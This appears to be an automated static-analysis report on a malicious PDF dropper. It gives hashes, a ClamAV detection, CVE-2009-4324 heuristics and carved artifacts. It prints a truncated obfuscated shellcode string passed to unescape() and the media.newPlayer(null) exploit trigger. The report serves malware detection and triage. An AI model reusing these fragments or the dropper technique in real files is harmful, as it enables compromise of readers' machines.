Malicious PDF — malware analysis report

Static analysis result for SHA-256 e3b08496d6192947…

MALICIOUS

PDF

66.8 KB Created: 2010-03-10 23:01:55 -08:00 Authoring application: easyPDF SDK 6.0 (via BCL easyPDF 6.00 (0337)) First seen: 2012-07-12
MD5: d84ecc73006a4273d68ab9453848be03 SHA-1: d6f5d2b5415c0d58292830a8ec472310ca5c6f63 SHA-256: e3b08496d61929473de2c1ec34fde0f9ce14468728309547bbe5c56b3822a86c
350 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell T1204.002 Malicious File

The PDF file contains embedded JavaScript that is obfuscated and utilizes the `unescape()` function, indicating malicious intent. The critical heuristic `CVE_2009_4324` specifically points to an exploit targeting a known vulnerability in Acrobat, likely used to trigger the embedded JavaScript. The `CLAMAV_DETECTION` further confirms its malicious nature as `Pdf.Dropper.Agent-7123754-0`. The primary function of the script appears to be downloading and executing a secondary payload, as suggested by the dropper classification.

Machine Learning

  • Nyx PDF Classifier malicious score 0.9966

Heuristics 9

  • media.newPlayer — CVE-2009-4324 critical CVE exact CVE_2009_4324
    PDF JavaScript calls media.newPlayer — CVE-2009-4324 is a use-after-free in Adobe Reader's multimedia plugin triggered by media.newPlayer(). Actively exploited as a zero-day in December 2009. (identified after JavaScript deobfuscation)
  • ClamAV: Pdf.Dropper.Agent-7123754-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Pdf.Dropper.Agent-7123754-0
  • Secondary embedded PDF body has suspicious static findings critical POLYGLOT_CHILD_PDF_STATIC_TRIAGE
    A valid PDF body was found at a nonzero offset inside another container and its carved contents matched PDF exploit or lure heuristics. This catches polyglots where the top-level magic routes to ZIP/OLE while a PDF reader or downstream parser opens the hidden PDF payload.
  • JavaScript action low 2 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules. (matched inside decoded stream)
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
    Matched line in script
    var sc =  unescape(urpl("%Zc8d9%Z74d9%Zf424%Zeeba%Zdeec%Z29d9%Z5fc9%Z37b1%Z5731%Z8314%Z1001%Z213c%Z4207%Zd9de%Z55ee%Zd9da%Zecee%Zbd81%Zdc4f%Zd9de%Z67ee%Zd59e%Z9c65%Z74c2%Z8465%Z88d6%Z9965%Z52e2%Zc29a%Zdaa6%Zba1b%Zaf55%Zefce%Zea2b%Za527%Z749f%Z29ed%Z02ed%Z52e1%Ze1ce%Z981c%Z18d6%Ze125%Z03dd%Z07ae%Ze22f%Z99f1%Z8739%Zb265%Zdafa%Z8a33%Zd555%Z67a5%Zc580%Z31ed%Zdd55%Zef65%Z721b%Z0eb7%Zea62%Z6f35%Zdd1d%Zec84%Z268d%Z10b9%Zdee5%Z1f9b%Z8657%Z7512%Z8b8c%Z9b11%Z26da%Z1099%Z8e21%Z7516%Z99b4%Zec86%Zd9ce%Z13ee% …
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules. (matched inside decoded stream)
  • Suspicious extracted artifact medium EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Object number defined twice with different bodies info PDF_DUPLICATE_OBJ_BODY_INCREMENTAL
    The same indirect object (N G) is defined more than once with different body bytes. First-wins and last-wins readers will resolve different content, which is a parser-confusion shape used by targeted PDFs. Body-only differences are common in benign incremental updates, so severity is raised only when the duplicate carries active content.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://www.w3.org/1999/02/22-rdf-syntax-ns# In PDF document text
    • http://ns.adobe.com/xap/1.0/In PDF document text
    • http://purl.org/dc/elements/1.1/In PDF document text
    • http://ns.adobe.com/xap/1.0/mm/In PDF document text
    • http://ns.adobe.com/pdf/1.3/In PDF document text

Related samples 8

Ranked by shared artifacts, heuristics, extracted URLs, CVEs, and signatures.

Full JSON: related samples API

Extracted artifacts 5

Files carved from inside the sample during analysis.

FilenameKindSourceSize
stream_004_off0000063a.js decompressed-pdf-stream PDF FlateDecoded stream at offset 0x63A 2660 bytes
SHA-256: 5265103c269ab47e47ed6de409e87ad73d2132351a61313cfd4409ae7c3e8665
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 3 eval/decoder/string-building token(s). Carved artifact contains 1 long hex-escaped blob(s).
legacy_pdfkit_stage_000.js deobfuscated-js string-concatenation normalized Acrobat API aliases at offset 0x63A 126 bytes
SHA-256: 42c3f4df375ff6f58ff655cc4f88b5cc28f0dd33b978390db3538684a6219b74
Preview script
First 1,000 lines of the extracted script
media.newPlayer(null); /* AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA */
objstm_0023_00.bin pdf-objstm-decoded PDF /ObjStm 23 0 obj (inflated) 274 bytes
SHA-256: e8bfe65c34a535b0837ce7c541e45b42ab61e1ff13de05788daf7770f9a1ec0e
polyglot_child_pdf_off0000dfd7.pdf polyglot-child-pdf Secondary PDF body inside pdf container at offset 0xDFD7 11117 bytes
SHA-256: 7e474310e89585d3049df4f1e0e7cba50f6f91b5a9fc7acbf31977a8d9f73d26
polyglot_child_pdf_off0000f357.pdf polyglot-child-pdf Secondary PDF body inside pdf container at offset 0xF357 6125 bytes
SHA-256: 0b1c923c8a0028794f3a3244dc498786746334f394e41678cc58ffbeb707d0a8

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